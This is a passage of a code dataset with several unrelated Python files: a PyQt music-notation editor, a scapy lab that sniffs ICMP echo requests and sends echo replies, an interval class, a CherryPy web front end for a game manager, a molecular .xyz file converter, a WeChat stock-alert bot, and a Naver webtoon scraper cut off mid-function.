QMessageBox.Cancel, QMessageBox.Cancel)\r\n else:\r\n self.text.insertPlainText(keys[p + 12 * flag])\r\n return True\r\n else:\r\n return False\r\n\r\n def setmodify(self, key_value, cursor): # 更改按键移动字符数\r\n left_char = '0'\r\n right_char = '0'\r\n # 获取鼠标位置左右字符\r\n if cursor.block().length() != 1:\r\n if cursor.atBlockStart():\r\n cursor.movePosition(cursor.Right, cursor.KeepAnchor, 1)\r\n right_char = cursor.selectedText()\r\n cursor.movePosition(cursor.Left, cursor.KeepAnchor, 1)\r\n self.text.setTextCursor(cursor)\r\n elif cursor.atBlockEnd():\r\n cursor.movePosition(cursor.Left, cursor.KeepAnchor, 1)\r\n left_char = cursor.selectedText()\r\n cursor.movePosition(cursor.Right, cursor.KeepAnchor, 1)\r\n self.text.setTextCursor(cursor)\r\n else:\r\n cursor.movePosition(cursor.Left, cursor.KeepAnchor, 1)\r\n left_char = cursor.selectedText()\r\n cursor.movePosition(cursor.Right, cursor.KeepAnchor, 2)\r\n right_char = cursor.selectedText()\r\n cursor.movePosition(cursor.Left, cursor.KeepAnchor, 1)\r\n self.text.setTextCursor(cursor)\r\n else:\r\n return False\r\n\r\n if key_value == Qt.Key_Backspace:\r\n if left_char in ('}', ')', ']', '>'):\r\n cursor.movePosition(cursor.Left, cursor.KeepAnchor, 3)\r\n if '#' in cursor.selectedText():\r\n cursor.movePosition(cursor.Left, cursor.KeepAnchor, 1)\r\n self.text.setTextCursor(cursor)\r\n elif right_char in ('}', ')', ']', '>'):\r\n cursor.movePosition(cursor.Right, cursor.MoveAnchor, 1)\r\n cursor.movePosition(cursor.Left, cursor.KeepAnchor, 3)\r\n if '#' in cursor.selectedText():\r\n cursor.movePosition(cursor.Left, cursor.KeepAnchor, 1)\r\n self.text.setTextCursor(cursor)\r\n elif left_char in ('{', '(', '[', '<'):\r\n cursor.movePosition(cursor.Left, cursor.MoveAnchor, 1)\r\n cursor.movePosition(cursor.Right, cursor.KeepAnchor, 3)\r\n if '#' in cursor.selectedText():\r\n cursor.movePosition(cursor.Right, cursor.KeepAnchor, 1)\r\n self.text.setTextCursor(cursor)\r\n else:\r\n self.text.setTextCursor(cursor)\r\n\r\n elif key_value == Qt.Key_Left:\r\n if left_char in ('}', ')', ']', '>'):\r\n cursor.movePosition(cursor.Left, cursor.KeepAnchor, 3)\r\n if '#' in cursor.selectedText():\r\n cursor.movePosition(cursor.Left, cursor.MoveAnchor, 1)\r\n self.text.setTextCursor(cursor)\r\n elif right_char in ('}', ')', ']', '>'):\r\n cursor.movePosition(cursor.Left, cursor.KeepAnchor, 2)\r\n if '#' in cursor.selectedText():\r\n cursor.movePosition(cursor.Left, cursor.MoveAnchor, 1)\r\n self.text.setTextCursor(cursor)\r\n else:\r\n self.text.setTextCursor(cursor)\r\n\r\n elif key_value == Qt.Key_Right:\r\n if left_char in ('{', '(', '[', '<'):\r\n if right_char == '#':\r\n cursor.movePosition(cursor.Right, cursor.MoveAnchor, 2)\r\n else:\r\n cursor.movePosition(cursor.Right, cursor.MoveAnchor, 1)\r\n self.text.setTextCursor(cursor)\r\n elif right_char in ('{', '(', '[', '<'):\r\n cursor.movePosition(cursor.Right, cursor.KeepAnchor, 2)\r\n if '#' in cursor.selectedText():\r\n cursor.movePosition(cursor.Right, cursor.KeepAnchor, 2)\r\n else:\r\n cursor.movePosition(cursor.Right, cursor.KeepAnchor, 1)\r\n self.text.setTextCursor(cursor)\r\n else:\r\n self.text.setTextCursor(cursor)\r\n\r\n elif key_value in (Qt.Key_Enter, Qt.Key_Return):\r\n if left_char in ('{', '(', '[', '<'):\r\n cursor.movePosition(cursor.Left, cursor.MoveAnchor, 1)\r\n self.text.setTextCursor(cursor)\r\n elif right_char in ('}', ')', ']', '>'):\r\n cursor.movePosition(cursor.Right, cursor.MoveAnchor, 1)\r\n self.text.setTextCursor(cursor)\r\n elif left_char == '#':\r\n cursor.movePosition(cursor.Left, cursor.MoveAnchor, 1)\r\n cursor.movePosition(cursor.Left, cursor.KeepAnchor, 1)\r\n if cursor.selectedText() in ('{', '(', '[', '<'):\r\n cursor.movePosition(cursor.Left, cursor.MoveAnchor, 1)\r\n self.text.setTextCursor(cursor)\r\n else:\r\n self.text.setTextCursor(cursor)\r\n else:\r\n self.text.setTextCursor(cursor)\r\n return False\r\n\r\n def eventFilter(self, widget, event): # 捕获按键事件;刷新状态栏显示\r\n text_doc = self.text.document()\r\n text_cur = self.text.textCursor()\r\n global posi, flag\r\n posi[0] = (text_cur.blockNumber() + 1)\r\n posi[1] = (text_cur.positionInBlock())\r\n posi[2] = (text_doc.blockCount())\r\n self.statusbar.showMessage('第%s行 第%s列 共%s行 当前输入模式:%s'\r\n % (posi[0], posi[1], posi[2], sig[flag + 2]))\r\n if event.type() == QEvent.KeyPress:\r\n key_value = event.key()\r\n key_text = event.text()\r\n if key_value in (Qt.Key_Left, Qt.Key_Right, Qt.Key_Backspace,\r\n Qt.Key_Enter, Qt.Key_Return):\r\n return self.setmodify(key_value, text_cur)\r\n else:\r\n return self.set_output(key_text)\r\n\r\n elif event.type() == QEvent.InputMethod:\r\n key_text = event.commitString()\r\n return self.set_output(key_text)\r\n else:\r\n return False\r\n\r\n\r\nclass SmallWindow(QDialog):\r\n \"\"\"弹出转调窗口\"\"\"\r\n\r\n def __init__(self):\r\n super().__init__()\r\n self.setFixedSize(240, 170)\r\n font = QFont(\"Consolas\", 12)\r\n self.setFont(font)\r\n self.setWindowTitle('转调')\r\n self.setup_ui()\r\n\r\n def setup_ui(self):\r\n self.confirm_button = QPushButton(self)\r\n self.confirm_button.setGeometry(90, 110, 61, 31)\r\n self.confirm_button.setText(\"确认\")\r\n self.confirm_button.clicked.connect(self.cb_clicked)\r\n\r\n self.oldbox = QComboBox(self)\r\n self.oldbox.setGeometry(30, 50, 61, 31)\r\n self.oldbox.addItems(\r\n ['原调', ' C', '#C', ' D', '#D', ' E', ' F', '#F', ' G', '#G',\r\n ' A', '#A', ' B'])\r\n\r\n self.newbox = QComboBox(self)\r\n self.newbox.setGeometry(150, 50, 61, 31)\r\n self.newbox.addItems(\r\n ['新调', ' C', '#C', ' D', '#D', ' E', ' F', '#F', ' G', '#G',\r\n ' A', '#A', ' B'])\r\n\r\n def cb_clicked(self):\r\n old = self.oldbox.currentIndex()\r\n # print(str(old))\r\n new = self.newbox.currentIndex()\r\n # print(str(new))\r\n if old != 0 and new != 0:\r\n n = old - new\r\n editor.change_tune(n)\r\n else:\r\n QMessageBox.warning(self, \"提示:\", \"未选择合适的曲调 \",\r\n QMessageBox.Cancel, QMessageBox.Cancel)\r\n\r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n editor = TextEdit()\r\n small = SmallWindow()\r\n editor.show()\r\n sys.exit(app.exec_())\r\n","sub_path":"editor/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":21765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"478086494","text":"#! /usr/bin/env python2.7\n# Jecsan Blanco\n# 2019SP NET-CENTRIC COMPUTIN (CS-3372-01)\n\nfrom scapy.all import *\n\n\ndef get_reply_packet(packet):\n print(\"Replying...ง •̀_•́)ง\")\n reply = packet.copy()\n reply.src = packet.dst\n reply.dst = packet.src\n reply[IP].src = packet[IP].dst\n reply[IP].dst = packet[IP].src\n reply[ICMP].type = 0\n return reply\n\n\ndef print_info(packet):\n src = packet[IP].src\n dst = packet[IP].dst\n seq = str(packet[ICMP].seq)\n chksum = str(packet[ICMP].chksum)\n # print(packet.command())\n print(\"Source: \" + src)\n print(\"Dest: \" + dst)\n print(\"ICMP sequence number: \" + seq)\n print(\"ICMP checksum: \" + chksum)\n print()\n\n\ndef main():\n print(\"Sniffing...~(˘▾˘~)\")\n # 1 The program will sniff the network listening for icmp echo requests.\n packets = sniff(filter=\"icmp[icmptype] == icmp-echo\", count=5)\n packet_count = 1\n for packet in packets:\n print(\"count: %s\" % packet_count)\n print_info(packet)\n\n reply = get_reply_packet(packet)\n\n print_info(reply)\n sendp(reply)\n packet_count += 1\n print(\"Stopping...(⌐■_■)\")\n\n\nif __name__ == '__main__': main()\n","sub_path":"lab_5/lab5.py","file_name":"lab5.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"535236271","text":"'''\nCreated on Oct 28, 2015\n\n@author: ams889\n'''\nimport re\nimport sys\nfrom functions import *\n\nclass interval(object):\n #Represents the range of integers between a lower bound and an upper bound\n def __init__(self, inputString):\n newString = inputString.replace(\" \", \"\")\n if newString[0]==\"[\" and newString[-1]==\"]\":\n self.rangeType=\"InclusiveAll\"\n elif newString[0]==\"[\" and newString[-1]==\")\":\n self.rangeType=\"InclusiveLower\"\n elif newString[0]==\"(\" and newString[-1]==\"]\":\n self.rangeType=\"InclusiveUpper\"\n elif newString[0]==\"(\" and newString[-1]==\")\":\n self.rangeType=\"ExclusiveAll\"\n else: \n raise TypeError(\"Intervals can only be specified using parentheses or brackets '()[]'\")\n\n if test_number(newString.rpartition(\",\")[0][1:]) == False :\n raise ValueError(\"Interval must contain two numbers in numeric form, e.g. 2, 3, etc.\")\n if test_number(newString.rpartition(\",\")[2][:-1]) == False:\n raise ValueError(\"Interval must contain two numbers in numeric form, e.g. 2, 3, etc.\")\n\n \n self.lower = int(newString.rpartition(\",\")[0][1:])\n self.upper = int(newString.rpartition(\",\")[2][:-1])\n \n if self.rangeType==\"InclusiveAll\":\n if self.lower > self.upper:\n raise ValueError(\"Lower bound must be less than or equal to upper bound\")\n elif self.rangeType==\"InclusiveLower\":\n self.upper=self.upper-1\n if self.lower >= self.upper+1:\n raise ValueError(\"Lower bound must be less than upper bound\")\n elif self.rangeType==\"InclusiveUpper\":\n self.lower=self.lower+1\n if self.lower-1 >= self.upper:\n raise ValueError(\"Lower bound must be less than upper bound\")\n elif self.rangeType==\"ExclusiveAll\":\n self.lower=self.lower+1\n self.upper=self.upper-1\n if self.lower-1 >= self.upper:\n raise ValueError(\"Lower bound must be less than upper bound minus 1\")\n \n def __repr__(self):\n if self.rangeType==\"InclusiveAll\":\n return(\"[\" + str(self.lower) + \",\" + str(self.upper) + \"]\")\n elif self.rangeType==\"InclusiveLower\":\n return(\"[\" + str(self.lower) + \",\" + str(self.upper+1) + \")\")\n elif self.rangeType==\"InclusiveUpper\":\n return(\"(\" + str(self.lower-1) + \",\" + str(self.upper) + \"]\") \n elif self.rangeType==\"ExclusiveAll\":\n return(\"(\" + str(self.lower-1) + \",\" + str(self.upper+1) + \")\")\n","sub_path":"ams889/IntervalClass.py","file_name":"IntervalClass.py","file_ext":"py","file_size_in_byte":2610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"429379302","text":"import cherrypy\nimport os\nimport threading\nimport gamez\nimport inspect\nfrom jinja2 import Environment, FileSystemLoader\nfrom gamez import common, GameTasks, ActionManager\nfrom classes import *\nfrom gamez.Logger import *\nfrom FileBrowser import WebFileBrowser\nfrom lib.peewee import SelectQuery\nimport json\nimport traceback\n\n\nclass WebRoot:\n appPath = ''\n\n def __init__(self,app_path):\n WebRoot.appPath = app_path\n self.env = Environment(loader=FileSystemLoader(os.path.join('html', 'templates')))\n\n def _globals(self):\n return {'p': Platform.select(), 's': Status.select(), 'sy': common.SYSTEM}\n\n @cherrypy.expose\n def index(self, status_message='', version=''):\n template = self.env.get_template('index.html')\n games = []\n for g in Game.select():\n if g.status in (common.DELETED, common.COMPLETED):\n continue\n games.append(g)\n return template.render(games=games, **self._globals())\n\n @cherrypy.expose\n def completed(self, status_message='', version=''):\n template = self.env.get_template('index.html')\n games = []\n for g in Game.select():\n if not g.status == common.COMPLETED:\n continue\n games.append(g)\n return template.render(games=games, cur_index='completed', **self._globals())\n\n @cherrypy.expose\n def search(self, term='', platform=''):\n template = self.env.get_template('search.html')\n games = {}\n if term:\n for provider in common.PM.P:\n log.info(\"Searching on %s\" % provider.name)\n games[provider.name] = provider.searchForGame(term, Platform.get(Platform.id == platform))\n\n return template.render(games=games, **self._globals())\n\n @cherrypy.expose\n def settings(self):\n template = self.env.get_template('settings.html')\n return template.render(plugins=common.PM.getAll(True), **self._globals())\n\n @cherrypy.expose\n def createInstance(self, plugin, instance):\n c = None\n for cur_plugin in common.PM.getAll(True):\n if cur_plugin.type == plugin and not cur_plugin.single:\n c = cur_plugin.__class__(instance=instance)\n break\n common.PM.cache()\n url = '/settings/'\n if c:\n url = '/settings/#%s' % c.name.replace(' ', '_').replace('(', '').replace(')', '')\n raise cherrypy.HTTPRedirect(url)\n\n @cherrypy.expose\n def removeInstance(self, plugin, instance):\n for cur_plugin in common.PM.getAll(True):\n if cur_plugin.type == plugin and cur_plugin.instance == instance:\n c = cur_plugin.deleteInstance()\n break\n common.PM.cache()\n raise cherrypy.HTTPRedirect('/settings/')\n\n @cherrypy.expose\n def saveSettings(self, **kwargs):\n actions = {}\n redirect_to = '/settings/'\n if 'saveOn' in kwargs:\n redirect_to += \"#%s\" % kwargs['saveOn']\n del kwargs['saveOn']\n\n def convertV(cur_v):\n try:\n return int(cur_v)\n except TypeError: # its a list for bools / checkboxes \"on\" and \"off\"... \"on\" is only send when checked \"off\" is always send\n return True\n except ValueError:\n if cur_v in ('None', 'off'):\n cur_v = False\n return cur_v\n\n # this is slow !!\n # because i create each plugin for each config value that is for that plugin\n # because i need the config_meta from the class to create the action list\n # but i can use the plugins own c obj for saving the value\n for k, v in kwargs.items():\n log(\"config K:%s V:%s\" % (k, v))\n parts = k.split('-')\n # parts[0] plugin class name\n # parts[1] plugin instance name\n # parts[2] config name\n # v value for config -> parts[2]\n class_name = parts[0]\n instance_name = parts[1]\n config_name = parts[2]\n plugin = common.PM.getInstanceByName(class_name, instance_name)\n if plugin:\n log(\"We have a plugin: %s (%s)\" % (class_name, instance_name))\n old_value = getattr(plugin.c, config_name)\n new_value = convertV(v)\n if old_value == new_value:\n continue\n setattr(plugin.c, config_name, convertV(v)) # saving value\n if plugin.config_meta[config_name]: # this returns none\n if 'on_change_actions' in plugin.config_meta[config_name] and old_value != new_value:\n actions[plugin] = plugin.config_meta[config_name]['on_change_actions'] # this is a list of actions\n if 'actions' in plugin.config_meta[config_name]:\n actions[plugin] = plugin.config_meta[config_name]['actions'] # this is a list of actions\n if 'on_enable' in plugin.config_meta[config_name] and new_value:\n actions[plugin] = plugin.config_meta[config_name]['on_enable'] # this is a list of actions\n\n continue\n else: # no plugin with that class_name or instance found\n log(\"We don't have a plugin: %s (%s)\" % (class_name, instance_name))\n continue\n\n #actions = list(set(actions))\n common.PM.cache()\n final_actions = {}\n for cur_class_name, cur_actions in actions.items():\n for cur_action in cur_actions:\n if not cur_action in final_actions:\n final_actions[cur_action] = []\n final_actions[cur_action].append(cur_class_name)\n for action, plugins_that_called_it in final_actions.items():\n ActionManager.executeAction(action, plugins_that_called_it)\n common.SYSTEM = common.PM.getSystems('Default') # yeah SYSTEM is a plugin\n raise cherrypy.HTTPRedirect(redirect_to)\n\n @cherrypy.expose\n def comingsoon(self):\n template = self.env.get_template('index.html')\n gs = Game.select()\n return template.render(games=gs, **self._globals())\n\n @cherrypy.expose\n def addGame(self, gid, p='TheGameDB'):\n gid = int(gid)\n for provider in common.PM.P:\n if provider.type == p:\n game = provider.getGame(gid)\n if game:\n game.save()\n GameTasks.searchGame(game)\n\n raise cherrypy.HTTPRedirect('/')\n\n @cherrypy.expose\n def removegame(self, gid):\n g = Game.get(Game.id == gid)\n g.status = common.DELETED\n raise cherrypy.HTTPRedirect('/')\n\n @cherrypy.expose\n def updateStatus(self, gid, s):\n g = Game.get(Game.id == gid)\n g.status = Status.get(Status.id == s)\n if g.status == common.WANTED:\n GameTasks.searchGame(g)\n raise cherrypy.HTTPRedirect('/')\n\n @cherrypy.expose\n def updateAll(self):\n GameTasks.updateGames()\n raise cherrypy.HTTPRedirect('/')\n\n @cherrypy.expose\n def reboot(self):\n ActionManager.executeAction('hardReboot', 'Webgui')\n status = \"Restarting ... Reload in a few seconds.\"\n raise cherrypy.HTTPRedirect(\"/msg?msg=\" + status)\n\n @cherrypy.expose\n def shutdown(self):\n cherrypy.engine.exit()\n status = \"Gamez will be shutting down!!! Bye\"\n raise cherrypy.HTTPRedirect(\"/msg?msg=\" + status)\n\n @cherrypy.expose\n def msg(self, msg=\"Nothing to say\"):\n template = self.env.get_template('msg.html')\n return template.render(msg=msg, **self._globals())\n\n @cherrypy.expose\n def forcesearch(self, gid):\n GameTasks.searchGame(Game.get(Game.id == gid))\n raise cherrypy.HTTPRedirect('/')\n\n @cherrypy.expose\n def refreshinfo(self, gid, p='TheGameDB'):\n log(\"init update\")\n GameTasks.updateGame(Game.get(Game.id == gid))\n raise cherrypy.HTTPRedirect('/')\n\n @cherrypy.expose\n def setAdditionalSearchTerms(self, terms='', gid=0):\n game = Game.get(Game.id == gid)\n game.additional_search_terms = terms\n game.save()\n GameTasks.searchGame(game)\n raise cherrypy.HTTPRedirect('/')\n\n @cherrypy.expose\n def events(self, page=1, paginate_by=40):\n template = self.env.get_template('events.html')\n out = {'Game': {}, 'Download': {}, 'Config': {}}\n for g in Game.select():\n out['Game'][g.id] = g\n for d in Download.select():\n out['Download'][d.id] = d\n for c in Config.select():\n out['Config'][c.id] = c\n #events = SelectQuery(History).paginate(page, paginate_by)\n events = History.select().paginate(int(page), int(paginate_by))\n return template.render(objects=out, events=events, nPage=int(page) + 1, **self._globals())\n\n @cherrypy.expose\n def getDownload(self, did):\n d = Download.get(Download.id == did)\n g = d.game\n GameTasks.snatchOne(g, [d])\n raise cherrypy.HTTPRedirect('/')\n\n @cherrypy.expose\n def showLog(self):\n template = self.env.get_template('log.html')\n with open(\"gamez_log.log\") as f:\n content = f.readlines()\n return template.render(log=content, **self._globals())\n\n @cherrypy.expose\n def pluginAjaxCall(self, **kwargs):\n p_type = kwargs['p_type']\n p_instance = kwargs['p_instance']\n action = kwargs['action']\n p = common.PM.getInstanceByName(p_type, p_instance)\n p_function = getattr(p, action)\n fn_args = []\n for name in inspect.getargspec(p_function).args:\n field_name = 'field_%s' % name\n if field_name in kwargs:\n fn_args.append(kwargs[field_name])\n try:\n status, data, msg = p_function(*fn_args)\n except Exception as ex:\n tb = traceback.format_exc()\n log.error(\"Error during %s of %s(%s) \\nError: %s\\n\\n%s\\nNew value:%s\" % (action, p_type, p_instance, ex, tb))\n return json.dumps({'result': False, 'data': {}, 'msg': 'Internal Error in plugin'})\n return json.dumps({'result': status, 'data': data, 'msg': msg})\n\n browser = WebFileBrowser()\n","sub_path":"gamez/WebRoot.py","file_name":"WebRoot.py","file_ext":"py","file_size_in_byte":10288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"87312208","text":"# takes in al the Tinker .xyz file in the current working directory and convert them to \n# standard .xyz file in a new directiry std/\n\n# need to mkdir std/ first\n\n\nimport os\n\nstart = 8\nend = 47\n\nfor file in os.listdir(\".\"):\n\tif file.endswith(\".xyz\"):\n\t\t\n\t\tf = open(file)\n\t\tnew_f = open(\"./std/\" + file, 'w')\n\t\theader = f.readline()\n\t\theader_list = header.split()\n\t\tnum_atom = int(header_list[0])\n\n\t\tnew_f.write(header_list[0] + \"\\n\")\n\t\tf.readline()\n\n\t\tfor i in range(num_atom):\n\t\t\tline = f.readline()\n\t\t\tnew_f.write(line[start:end] + \"\\n\")\n\n\t\tnew_f.close()\n\t\tf.close()","sub_path":"amb2std.py","file_name":"amb2std.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"235448401","text":"# -*- coding: utf-8 -*-\n# filename:\nfrom flask import Flask, request, make_response\nimport time, hashlib\nfrom .receive_and_reply import reply\nfrom .receive_and_reply import receive\nfrom .sqlite_interface import SqliteInterface\nfrom .config import config\n\nsqlite = SqliteInterface()\napp = Flask(__name__)\n\n# 存储openid: [new_parameter_list, active_time]\nnew_setting_cache = {}\n\n\ndef make_sure(openid, content):\n global new_setting_cache\n now_time = time.time()\n if now_time <= new_setting_cache[openid][1]:\n if content.lower() == 'y':\n parameter_list = new_setting_cache[openid][0]\n sqlite.update_setting(openid, parameter_list)\n new_setting_cache.pop(openid)\n\n parameter_list_str = ''\n for p in parameter_list:\n parameter_list_str += str(p) + ' '\n\n return \"确认成功,您的设置为:\\n{0}\".format(parameter_list_str)\n elif content.lower() == 'n':\n new_setting_cache.pop(openid)\n return \"新设置申请已取消.\"\n else:\n return \"请正确回复y/Y/n/N,谢谢\"\n else:\n new_setting_cache.pop(openid)\n return \"上次设置申请已超过1分钟有效期,已经注销。请重新设置。\"\n\n\n@app.route('/wx_flask', methods=['GET', 'POST'])\ndef wechat():\n # 微信验证token\n if request.method == 'GET':\n token = config.token\n query = request.args\n signature = query.get('signature', '')\n timestamp = query.get('timestamp', '')\n nonce = query.get('nonce', '')\n echostr = query.get('echostr', '')\n s = [timestamp, nonce, token]\n s.sort()\n s = ''.join(s)\n if hashlib.sha1(s.encode('utf-8')).hexdigest() == signature:\n return make_response(echostr)\n else:\n global new_setting_cache\n rec_msg = receive.parse_xml(request.stream.read())\n if rec_msg is None:\n return 'success'\n\n if rec_msg.MsgType == 'text':\n content = rec_msg.Content.decode('utf-8')\n content = content.rstrip()\n if content.startswith(u\"设置\", 0, 2):\n ret, msg, parameter_list = sqlite.check_setting_parameter(rec_msg.FromUserName, content)\n if ret:\n active_time = time.time() + 60\n new_setting_cache.update({rec_msg.FromUserName: [parameter_list, active_time]})\n msg += \"\\n\\n确认更新输入y或Y,取消请输入n或N(请在一分钟内完成此操作).\"\n else: # 输入错误,或者与上次设置相同,都无需做\n pass\n rep_text_msg = reply.TextMsg(rec_msg.FromUserName, rec_msg.ToUserName,\n (\"{0}\\n{1}\".format(msg, get_time())))\n return rep_text_msg.send()\n elif content.startswith(u'whoami'):\n rep_text_msg = reply.TextMsg(rec_msg.FromUserName, rec_msg.ToUserName,\n rec_msg.FromUserName)\n return rep_text_msg.send()\n elif rec_msg.FromUserName in new_setting_cache:\n # 进入设置确认逻辑\n msg = make_sure(rec_msg.FromUserName, content)\n rep_text_msg = reply.TextMsg(rec_msg.FromUserName, rec_msg.ToUserName, (\n \"{0}\\n\\n{1}\".format(msg, get_time())))\n return rep_text_msg.send()\n elif content.startswith(u\"查询\", 0, 2):\n msg = ''\n old_parameter_tuple = sqlite.get_values_by_id('setting', 'openid', rec_msg.FromUserName)\n if not old_parameter_tuple: # 如果数据库没有存在这个\n msg += \"您未设置任何参数.\"\n else:\n msg += \"您之前的设置为:\\n\"\n msg += sqlite.change_tuple_to_string(old_parameter_tuple[0])\n rep_text_msg = reply.TextMsg(rec_msg.FromUserName, rec_msg.ToUserName, (\n \"{0}\\n\\n{1}\".format(msg, get_time())))\n return rep_text_msg.send()\n else:\n rep_text_msg = reply.TextMsg(rec_msg.FromUserName, rec_msg.ToUserName, (\n \"回复格式(设置 越价率 越价大单值 大单值 一分钟内提醒次数上限),如:\\n设置 0.005 1000000 4000000 10\"\n \"\\n\\n如需查询之前的设置,回复“查询”\\n\\n%s\" % get_time()))\n return rep_text_msg.send()\n\n elif rec_msg.MsgType == \"image\":\n rep_img_msg = reply.ImageMsg(rec_msg.FromUserName,rec_msg.ToUserName,rec_msg.MediaId)\n return rep_img_msg.send()\n else:\n return \"success\"\n\n\n# 获取时间戳\ndef get_time():\n return time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n\n\n","sub_path":"futuquant/examples/app/stock_alarm/wx_service.py","file_name":"wx_service.py","file_ext":"py","file_size_in_byte":4882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"291717383","text":"# 라이브러리 모음\n# 함수 모음\n\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport logging\nimport pickle\nimport os\n\ndef get_info(url):\n req = requests.get(url)\n html = req.text\n return html\n\ndef get_info_by_tag(url, tag = True, tag_class = False):\n soup = BeautifulSoup(get_info(url), 'html.parser').find_all(tag, class_ = tag_class)\n return soup\n\ndef get_info_by_select(url, select = True):\n soup = BeautifulSoup(get_info(url), 'html.parser').select(select)\n return soup\n\ndef make_wt_dataframe(wt_data, wt_dict, name):\n series = pd.Series(wt_dict)\n wt_data[name] = wt_dict\n return wt_data\n\n\n# 기본 url\nbase_url = 'https://comic.naver.com'\n\n# 웹툰 기본 url\nwt_base_url = base_url + '/webtoon'\n\n# 요일별 url\nurl_by_dates = wt_base_url + '/weekday.nhn'\n\n# 장르별 전체 메뉴 url\nurl_by_all_genres = wt_base_url + '/genre.nhn'\n\n# 장르별 메뉴 url\nurl_by_genres = url_by_all_genres + '?genre='\n\n# 개별 웹툰 리스트 url\nwt_reading_list_wt = wt_base_url + '/list.nhn?titleId='\n\n# 개별 웹툰 감상 url\nurl_reading_wt = wt_base_url + '/detail.nhn?titleId='\n\n\n# 로깅 모듈 사용하기\nmylogger = logging.getLogger(__name__)\nmylogger.setLevel(logging.INFO)\n\nformatter = logging.Formatter('%(asctime)s %(message)s')\n\nfile_handler = logging.FileHandler('wt_dict.log')\nfile_handler.setFormatter(formatter)\nmylogger.addHandler(file_handler)\n\n\n# 현재 연재 중인 웹툰 리스트\ndef wt_list():\n wt_infos = get_info_by_tag(url_by_dates, 'div', 'thumb')\n wt_list = list(set((wt_info.img.get('title') for wt_info in wt_infos)))\n for wt in wt_list:\n mylogger.info(wt)\n return wt_list\n\n# print(wt_list())\n\n\n# 현재 연재중인 웹툰의 연재 요일과 주간 연재 횟수\ndef wt_publish_date_dict(info='dates'):\n wt_publish_date_dict = {}\n wt_publish_date_times_dict = {}\n for wt in wt_list():\n wt_publish_date_dict[wt] = []\n\n wt_weekday_infos = get_info_by_tag(url_by_dates, 'div', 'thumb')\n for wt_weekday_info in wt_weekday_infos:\n dates = wt_weekday_info.a['href'].split('=')[-1]\n name = wt_weekday_info.a.img.get('title')\n wt_publish_date_dict[name].append(dates)\n wt_publish_date_times_dict[name] = len(wt_publish_date_dict[name])\n\n if info == 'dates':\n for wt in wt_publish_date_dict:\n mylogger.info(wt, ' : ', wt_publish_date_dict[wt])\n return wt_publish_date_dict\n elif info == 'times':\n for wt in wt_publish_date_times_dict:\n mylogger.info(wt, ' : ', wt_publish_date_times_dict[wt])\n return wt_publish_date_times_dict\n\n# print(wt_publish_date_dict(info = 'times'))\n\n\n# 웹툰의 스토리 진행 방식별 장르와 세부 장르\ndef genre_list(classification='all'):\n genres = get_info_by_select(url_by_all_genres, '#content > div.snb > ul > li')\n genre_list = [genre.a['href'].split('=')[-1] for genre in genres]\n if classification == 'all':\n for genre in genre_list:\n mylogger.info(genre)\n return genre_list\n elif classification == 'large':\n return genre_list[:3]\n elif classification == 'small':\n return genre_list[3:]\n\n\n# print(genre_list(classification='small'))\n\n\n# 현재 연재중인 웹툰의 스토리 진행 방식별 장르와 세부 장르\ndef wt_genre_dict(classi = 'large'):\n wt_genre_dict = {}\n current_wt_list = wt_list()\n for wt in current_wt_list:\n wt_genre_dict[wt] = []\n for genre in genre_list(classification = classi):\n wt_genre_infos = get_info_by_tag(url_by_genres + genre, tag = 'div', tag_class = 'thumb')\n for wt_genre_info in wt_genre_infos:\n if wt_genre_info.find('img', class_ = 'finish') == None:\n wt_genre_dict[wt_genre_info.img['alt']].append(genre)\n\n for wt in wt_genre_dict:\n mylogger.info(wt, ':', wt_genre_dict[wt])\n return wt_genre_dict\n\n# print(wt_genre_dict(classi = 'small'))\n\n\n# 현재 연재 중인 웹툰의 url 숫자\ndef wt_url_num_dict():\n wt_url_dict = {}\n for genre in genre_list():\n wt_url_infos = get_info_by_tag(url_by_genres + genre, tag = 'div', tag_class = 'thumb')\n for wt_url_info in wt_url_infos:\n if wt_url_info.find('img', class_ = 'finish') == None:\n wt_url_dict[wt_url_info.img['alt']] = wt_url_info.a['href'].split('=')[-1]\n\n for wt in wt_url_dict:\n mylogger.info(wt, ':', wt_url_dict[wt])\n return wt_url_dict\n\n# print(wt_url_num_dict())\n\n\n# 현재 연재 중인 웹툰의 평균 별점\ndef wt_rating_type_dict():\n wt_rating_type_dict = {}\n current_wt_list = wt_list()\n for genre in genre_list(classification = 'large'):\n wt_rating_type_infos = get_info_by_tag(url_by_genres + genre, tag = 'dl')\n for wt_rating_type_info in wt_rating_type_infos:\n if wt_rating_type_info.a['title'] in current_wt_list:\n wt_rating_type_dict[wt_rating_type_info.a['title']] = wt_rating_type_info.strong.text\n\n for wt in wt_rating_participants_dict:\n mylogger.info(wt, ':', wt_rating_type_dict[wt])\n return wt_rating_type_dict\n\n# print(wt_rating_type_dict())\n\n\n# 현재 연재 중인 웹툰의 연재 작가\ndef wt_cartoonist_dict():\n wt_cartoonist_dict = {}\n current_wt_list = wt_list()\n for genre in genre_list(classification='large'):\n wt_cartoonist_infos = get_info_by_select(url_by_genres + genre, '#content > div.list_area > ul > li')\n for wt_cartoonist_info in wt_cartoonist_infos:\n if wt_cartoonist_info.a['title'] in current_wt_list:\n wt_cartoonist_dict[wt_cartoonist_info.a['title']] = wt_cartoonist_info.dd.a.text\n\n for wt in wt_cartoonist_dict:\n mylogger.info(wt, ':', wt_cartoonist_dict[wt])\n return wt_cartoonist_dict\n# print(wt_cartoonist_dict())\n\n\n# 현재 연재 중인 웹툰의 최근 업데이트 날짜\ndef wt_latest_update_dict():\n wt_latest_update_dict = {}\n all_wt_latest_update_dict = {}\n current_wt_list = wt_list()\n for genre in genre_list(classification='large'):\n infos = get_info_by_select(url_by_genres + genre, '#content > div.list_area > ul > li')\n for info in infos:\n latest_update = 